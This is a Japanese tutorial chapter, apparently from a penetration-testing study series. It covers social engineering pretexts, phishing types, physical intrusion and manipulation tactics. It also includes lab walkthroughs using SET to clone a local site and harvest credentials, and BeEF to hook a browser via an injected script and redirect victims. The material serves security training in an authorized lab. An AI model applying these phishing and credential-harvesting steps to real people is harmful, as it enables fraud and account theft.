導入
本記事は以下の続編です。
この記事で得られること
本記事では、ソーシャルエンジニアリング攻撃に関する以下の知見を得られます。
- 攻撃者がターゲットへ接触する際の口実やなりすまし手法
- 代表的なソーシャルエンジニアリング攻撃・物理攻撃の特徴
- 主要なソーシャルエンジニアリングツールの概要とリスク理解
⚠️ 注意(必読)
本記事で扱う内容は、悪用した場合、重大な法的リスクを伴います。
必ず許可された演習環境・検証環境でのみ実施してください。
実在組織・個人への実行は禁止されています。
🧭 第4章の概要
本章は攻撃ライフサイクルにおける 「初動フェーズ(接触の準備~最初のはたらきかけ)」 に焦点を当てます。
技術的アプローチのみならず、人間の心理・行動を突破口にする攻撃 も存在し、防御側にとっては「最も検知困難」かつ「最も成功されやすい」領域です。
4章 詳細構成
- 🧠 4.1 アプローチの口実となりすまし
- 🎭 4.2 ソーシャルエンジニアリング攻撃
- 🚪 4.3 物理攻撃
- 🛠 4.4 ソーシャルエンジニアリングツール
- 🎯 4.5 攻撃を成功させるための心理的アプローチ
4.1 アプローチの口実となりすまし
攻撃者はターゲットの信頼を得るためにアプローチの口実準備やなりすましを行います。
主なプロセスは以下のとおりです。
-
事前の情報収集(OSINT)
- SNS・企業情報・公開資料からパーソナル分析
- 接触のための材料を揃える
-
口実の準備
- 役職、所属、権限、緊急性などを組み合わせアプローチの筋道を確立
- 例:ITサポート、外部委託業者、人事部、宅配業者 etc...
-
接触方法の選定
- 電話、メール、対面、SNS、チャットアプリなど
👉その人にあう適切な方法でアプローチします。
- 電話、メール、対面、SNS、チャットアプリなど
-
対話時の情報収集
- 心理学のテクニックを応用して情報収集
- クローズドクエスチョンの活用
- 対象者のふるまい注視
- ボディランゲージ
- 目や手足、口の動き
- 声色の変化や話す速さの変化
etc...
- 心理学のテクニックを応用して情報収集
4.2 ソーシャルエンジニアリング攻撃
様々なソーシャルエンジニアリング攻撃がありますが、代表的なものをいくつか紹介いたします。
📩 メールフィッシング
- メールで機密情報を詐取
- 悪意のある偽サイトへの誘導
(特徴:大量配信、成功率は低いが母数で成功させる)
🎯 スピアフィッシング
- メールフィッシングの中でも特定個人や企業を対象としたもの
(役職名、担当業務、直近のニュースなどを織り込む)
🎣 ホエーリング
- メールフィッシングの中でも経営幹部を狙った攻撃
📱 SMSフィッシング
- SMSを利用したフィッシング
- 近年ではビットコイン受け取りのURLやAmazonの注文に関するリンクなどがある
📞 ヴィッシング(音声フィッシング)
- ボイスフィッシングの略で電話など声を利用したフィッシング攻撃
- サポート窓口を装い認証情報や機密情報を奪取
🔑 USBドロップキー攻撃
- USBスティックをわざと落としてマルウェアをインストール
※近年ではOSが自動実行を無効化している場合が多い。
水飲み場型攻撃
- ターゲットがよく利用するWebサイトを改ざん
- JavaScriptやエクスプロイトコードを仕込む
- 正規サイトが脆弱性を有する場合に閲覧するだけで感染するタイプの攻撃
4.3 物理攻撃
ソーシャルエンジニアリング攻撃のうち物理的なアプローチについて代表的なものを紹介します。
🔓 テールゲーティング・ピギーバック
- 有効な社員証を持つ人物の後ろに続いて入館
🏷 ダンプスターダイビング
- ゴミ箱から顧客情報・システム資料・内部連絡票を取得
- 実務では多要素認証のバックアップコードが狙われる
👀 ショルダーサーフィン
- 肩越しに個人情報やパスワード、機密データを盗み見る
- 双眼鏡や隠しカメラが利用されるケースもある
🪪 認証アイテムの複製
- 入館カードやIDバッジを複製する
- NFCクローンやRFIDクローンがある
4.4 ソーシャルエンジニアリングツール
4.1~4.3での攻撃にも関連する自動化・効率化ツールについて代表的なものを確認します。
-
🛠 SET(Social-Engineer Toolkit)
攻撃の準備や自動化のために利用されるツールです。- フィッシングメールの作成
- Webページのクローン生成
- 認証情報のハーベスティング
などの多様なソーシャルエンジニアリング攻撃が半自動で可能となります。
-
🕸 ブラウザ活用フレームワーク(BeEF)
XSS(クロスサイトスクリプティング)フックを利用したブラウザ操作のために利用されるツールです。- 偽警告の表示やキー入力取得などが可能
- Webブラウザを操作端末として悪用する
-
📞 通話スプーフィングツール
発信者番号を偽造するツール。
主な例:SpoofApp:番号偽装可能なスマホ用アプリ SpoofCard:番号偽装に加えて、声を変えたりバックノイズを生成可能なスマホ用アプリ Asterisk:発信者IDを偽装可能なVoIP管理ツール
実践演習①:ソーシャルエンジニアリングツールキット(SET)の使い方
フィッシングサイトの複製と資格情報の収集プロセスを通じてSETの使い方を学習します。
SETの起動
SETをCLIから起動します。
┌──(kali㉿Kali)-[~]
└─$ sudo -i
[sudo] password for kali:
┌──(root㉿Kali)-[~]
└─# setoolkit
・・・
The Social-Engineer Toolkit is designed purely for good and not evil. If you are planning on using this tool for malicious purposes that are not authorized by the company you are performing assessments for, you are violating the terms of service and license of this toolset. By hitting yes (only one time), you agree to the terms of service and that you will only use this tool for lawful purposes only.
Do you agree to the terms of service [y/n]: y
_______________________________
/ _____/\_ _____/\__ ___/
\_____ \ | __)_ | |
/ \ | \ | |
/_______ //_______ / |____|
\/ \/
[---] The Social-Engineer Toolkit (SET) [---]
[---] Created by: David Kennedy (ReL1K) [---]
Version: 8.0.3
Codename: 'Maverick'
[---] Follow us on Twitter: @TrustedSec [---]
[---] Follow me on Twitter: @HackingDave [---]
[---] Homepage: https://www.trustedsec.com [---]
Welcome to the Social-Engineer Toolkit (SET).
The one stop shop for all of your SE needs.
The Social-Engineer Toolkit is a product of TrustedSec.
Visit: https://www.trustedsec.com
It's easy to update using the PenTesters Framework! (PTF)
Visit https://github.com/trustedsec/ptf to update all your tools!
Select from the menu:
1) Social-Engineering Attacks
2) Penetration Testing (Fast-Track)
3) Third Party Modules
4) Update the Social-Engineer Toolkit
5) Update SET configuration
6) Help, Credits, and About
99) Exit the Social-Engineer Toolkit
set>
メニューの選択
1)のソーシャルエンジニアリング攻撃を選択し、2)のウェブサイト攻撃を選択。
今回は偽のウェブサイトから認証情報収集を実行するため3)の機密情報収集攻撃を選択します。
Select from the menu:
1) Spear-Phishing Attack Vectors
2) Website Attack Vectors
3) Infectious Media Generator
4) Create a Payload and Listener
5) Mass Mailer Attack
6) Arduino-Based Attack Vector
7) Wireless Access Point Attack Vector
8) QRCode Generator Attack Vector
9) Powershell Attack Vectors
10) Third Party Modules
99) Return back to the main menu.
set> 2
The Web Attack module is a unique way of utilizing multiple web-based attacks in order to compromise the intended victim.
The Java Applet Attack method will spoof a Java Certificate and deliver a metasploit based payload. Uses a customized java applet created by Thomas Werth to deliver the payload.
The Metasploit Browser Exploit method will utilize select Metasploit browser exploits through an iframe and deliver a Metasploit payload.
The Credential Harvester method will utilize web cloning of a web- site that has a username and password field and harvest all the information posted to the website.
The TabNabbing method will wait for a user to move to a different tab, then refresh the page to something different.
The Web-Jacking Attack method was introduced by white_sheep, emgent. This method utilizes iframe replacements to make the highlighted URL link to appear legitimate however when clicked a window pops up then is replaced with the malicious link. You can edit the link replacement settings in the set_config if its too slow/fast.
The Multi-Attack method will add a combination of attacks through the web attack menu. For example you can utilize the Java Applet, Metasploit Browser, Credential Harvester/Tabnabbing all at once to see which is successful.
The HTA Attack method will allow you to clone a site and perform powershell injection through HTA files which can be used for Windows-based powershell exploitation through the browser.
1) Java Applet Attack Method
2) Metasploit Browser Exploit Method
3) Credential Harvester Attack Method
4) Tabnabbing Attack Method
5) Web Jacking Attack Method
6) Multi-Attack Web Method
7) HTA Attack Method
99) Return to Main Menu
set:webattack>3
The first method will allow SET to import a list of pre-defined web
applications that it can utilize within the attack.
The second method will completely clone a website of your choosing
and allow you to utilize the attack vectors within the completely
same web application you were attempting to clone.
The third method allows you to import your own website, note that you
should only have an index.html when using the import website
functionality.
1) Web Templates
2) Site Cloner
3) Custom Import
99) Return to Webattack Menu
set:webattack>
偽のウェブサイトのキャプチャ
先ほどのメニューから2)サイトの複製を選択後に複製したいウェブサイトへアクセス。
※本記事ではローカルの仮想マシンを選択していますが、無許可なサイトのキャプチャ・複製はやめてください。

The first method will allow SET to import a list of pre-defined web
applications that it can utilize within the attack.
The second method will completely clone a website of your choosing
and allow you to utilize the attack vectors within the completely
same web application you were attempting to clone.
The third method allows you to import your own website, note that you
should only have an index.html when using the import website
functionality.
1) Web Templates
2) Site Cloner
3) Custom Import
99) Return to Webattack Menu
set:webattack>2
[-] Credential harvester will allow you to utilize the clone capabilities within SET
[-] to harvest credentials or parameters from a website as well as place them into a report
-------------------------------------------------------------------------------
--- * IMPORTANT * READ THIS BEFORE ENTERING IN THE IP ADDRESS * IMPORTANT * ---
The way that this works is by cloning a site and looking for form fields to
rewrite. If the POST fields are not usual methods for posting forms this
could fail. If it does, you can always save the HTML, rewrite the forms to
be standard forms and use the "IMPORT" feature. Additionally, really
important:
If you are using an EXTERNAL IP ADDRESS, you need to place the EXTERNAL
IP address below, not your NAT address. Additionally, if you don't know
basic networking concepts, and you have a private IP address, you will
need to do port forwarding to your NAT IP address from your external IP
address. A browser doesns't know how to communicate with a private IP
address, so if you don't specify an external IP address if you are using
this from an external perpective, it will not work. This isn't a SET issue
this is how networking works.
set:webattack> IP address for the POST back in Harvester/Tabnabbing [10.0.2.15]:10.6.6.1
[-] SET supports both HTTP and HTTPS
[-] Example: http://www.thisisafakesite.com
set:webattack> Enter the url to clone:http://dvwa.vm
[*] Cloning the website: http://dvwa.vm
[*] This could take a little bit...
The best way to use this attack is if username and password form fields are available. Regardless, this captures all POSTs on a website.
[*] The Social-Engineer Toolkit Credential Harvester Attack
[*] Credential Harvester is running on port 80
[*] Information will be displayed to you as it arrives below:
複製に成功するとログのように当該サイトのキャプチャ結果が表示され、キャプチャ状態が継続します。
偽のウェブサイトの複製と機密情報搾取
テキストエディタを起動し、誘導のためのHTMLドキュメントを作成。
※画像6行目のSは余計な文字です。

作成したHTMLドキュメントをダブルクリックすると偽のウェブサイトが出来上がっており、ここにID/PASSを入力するともともとのウェブサイトへリダイレクトされる。

👉3でキャプチャした本来のサイトと比較するとURLが異なっていることが確認できる。
この時、以下のキャプチャ状態のプロンプトまたはレポートファイルから資格情報が搾取されていることがわかる。
※文字列は一部マスキングしてます。
The best way to use this attack is if username and password form fields are available. Regardless, this captures all POSTs on a website.
[*] The Social-Engineer Toolkit Credential Harvester Attack
[*] Credential Harvester is running on port 80
[*] Information will be displayed to you as it arrives below:
10.6.6.1 - - [22/Oct/2025 06:07:01] "GET / HTTP/1.1" 200 -
10.6.6.1 - - [22/Oct/2025 06:07:01] "GET /favicon.ico HTTP/1.1" 404 -
[*] WE GOT A HIT! Printing the output:
POSSIBLE USERNAME FIELD FOUND: username=some.user@gmail.com
POSSIBLE PASSWORD FIELD FOUND: password=/masking/
POSSIBLE USERNAME FIELD FOUND: Login=Login
POSSIBLE USERNAME FIELD FOUND: user_token=/masking/
[*] WHEN YOU'RE FINISHED, HIT CONTROL-C TO GENERATE A REPORT.
10.6.6.1 - - [22/Oct/2025 06:09:06] "POST /index.html HTTP/1.1" 302 -
^C[*] File in XML format exported to /root/.set/reports/2025-10-22 06:11:08.319565.xml for your reading pleasure...
Press <return> to continue
★以下のようにファイルとしても出力されている。
┌──(root㉿Kali)-[~]
└─# cd /root/.set/reports/
┌──(root㉿Kali)-[~/.set/reports]
└─# ls
'2025-10-22 06:11:08.319565.xml' files
┌──(root㉿Kali)-[~/.set/reports]
└─# cat 2025-10-22\ 06\:11\:08.319565.xml
<?xml version="1.0" encoding='UTF-8'?>
<harvester>
URL=http://dvwa.vm
<url> <param>username=some.user@gmail.com</param>
<param>password=/masking/</param>
<param>Login=Login</param>
<param>user_token=/masking/</param>
</url>
</harvester>
実践演習②:ブラウザエクスプロイトフレームワーク(BeEF)の使い方
ブラウザフックによるユーザ操作を通じてBeEFの使い方を学習します。
BeEFGUIの起動
スタートメニューまたはプロンプトからBeEFを起動します。
$ sudo beef-xss
[sudo] password for kali:
[-] You are using the Default credentials
[-] (Password must be different from "beef")
[-] Please type a new password for the beef user:
[i] GeoIP database is missing
[i] Run geoipupdate to download / update Maxmind GeoIP database
[*] Please wait for the BeEF service to start.
[*]
[*] You might need to refresh your browser once it opens.
[*]
[*] Web UI: http://127.0.0.1:3000/ui/panel
[*] Hook: <script src="http://<IP>:3000/hook.js"></script>
[*] Example: <script src="http://127.0.0.1:3000/hook.js"></script>
● beef-xss.service - beef-xss
Loaded: loaded (/lib/systemd/system/beef-xss.service; disabled; preset: disabled)
Active: active (running) since Wed 2025-10-22 13:24:56 UTC; 5s ago
Main PID: 333270 (ruby)
Tasks: 4 (limit: 4600)
Memory: 102.6M
CPU: 1.517s
CGroup: /system.slice/beef-xss.service
└─333270 ruby /usr/share/beef-xss/beef
Oct 22 13:24:59 Kali beef[333270]: == 24 CreateAutoloader: migrated (0.0005s) ====================================
Oct 22 13:24:59 Kali beef[333270]: == 25 CreateXssraysScan: migrating ============================================
Oct 22 13:24:59 Kali beef[333270]: -- create_table(:xssraysscans)
Oct 22 13:24:59 Kali beef[333270]: -> 0.0006s
Oct 22 13:24:59 Kali beef[333270]: == 25 CreateXssraysScan: migrated (0.0006s) ===================================
Oct 22 13:24:59 Kali beef[333270]: [13:24:58][*] BeEF is loading. Wait a few seconds...
Oct 22 13:24:59 Kali beef[333270]: [13:24:59][!] [AdminUI] Error: Could not minify 'BeEF::Extension::Admin… harmony
Oct 22 13:24:59 Kali beef[333270]: [13:24:59] |_ [AdminUI] Ensure nodejs is installed and `node' is in…$PATH` !
Oct 22 13:24:59 Kali beef[333270]: [13:24:59][!] [AdminUI] Error: Could not minify 'BeEF::Extension::Admin… harmony
Oct 22 13:24:59 Kali beef[333270]: [13:24:59] |_ [AdminUI] Ensure nodejs is installed and `node' is in…$PATH` !
Hint: Some lines were ellipsized, use -l to show in full.
[*] Opening Web UI (http://127.0.0.1:3000/ui/panel) in: 5... 4... 3... 2... 1...
┌──(kali㉿Kali)-[~]
└─$
ブラウザでループバックアドレスとポート3000を指定するとBeEFの管理画面にアクセス可能なログインページへ接続されます。
デモページの確認
BeEF起動時にデモページが生成されているのでそこにアクセスします。

ソースコードからもhook.jsというjavascriptが仕込まれていることが確認できます。
上記のスクリプトを利用してソーシャルエンジニアリング攻撃を実行していきます。

デモページの概要については1でアクセスした管理ページからも確認可能です。
※デモページを開いたまま確認してください。

ソーシャルエンジニアリング攻撃の実行①
hook.jsを利用しブラウザに対して偽の警告メッセージを送信します。
今回はURLをDVWAの仮想サーバーのログイン画面にリダイレクトする例で示してます。
補足:各モジュールツリーの左端のアイコンの色については以下を表現してます。
緑色:動作しユーザーにスクリプトが表示されない
橙色:動作するがユーザーにスクリプトが表示される
赤色:機能しない
白色:利用できるか不明
ポップアップが表示されてそのポップアップへアクセスすると指定したURLへリダイレクトされます。


👉悪用すればユーザーに悪意のあるプラグインをダウンロードして誘導することが可能です。
ソーシャルエンジニアリング攻撃の実行②
TabNabbingという別のモジュールでリダイレクト時間を操作します。
下記は先ほどのデモ画面から別のデモ画面へリダイレクトされている様子です。

BeEF Basic Demo上で実行された動作はすべて管理画面上に記録されます。

👉悪用すれば悪意のあるサイトへの強制誘導が可能です。
4.5 攻撃を成功させるための心理的アプローチ
攻撃者は心理学に基づくアプローチも活用して情報収集をします。
主な心理戦術
-
権威性
- 経営者、IT管理者、行政機関の名など権力のある人や組織の名を借りること
- 経営者、IT管理者、行政機関の名など権力のある人や組織の名を借りること
-
希少性と緊急性
- 「期限」「数量」「即時対応」を強調し判断を鈍らせる
- 「今アクセスすれば無料で利用可能」や「対応しないとアカウント停止」 など
-
社会的証明
- みんなやっているから正しいという心理のこと
- 「他部署も対応済みです」と安心させるなど
-
好意
- 自分と考え方が似ている人の行動を模倣する心理のこと
- 「あの人が使っているから間違いない」など
-
恐怖心
- 不安を回避しようとする心理のこと
- 「ウィルスに感染しました」といった恐怖心の利用など
🧾 本記事のまとめ
- ソーシャルエンジニアリングは 技術攻撃とは別軸の攻撃手段
- 攻撃者は 口実構築 → 接触 → 信頼獲得 → 情報奪取 を一連の流れで攻撃
- 物理攻撃は重大な侵害リスクの可能性を秘めている
- 攻撃ツールにより攻撃の一部が大規模・自動化
- 心理操作 が成功率に影響する点を理解することが防御において重要
📍 次回予告
次回は5章「有線および無線ネットワークの活用」を扱います。
次の記事はこちら


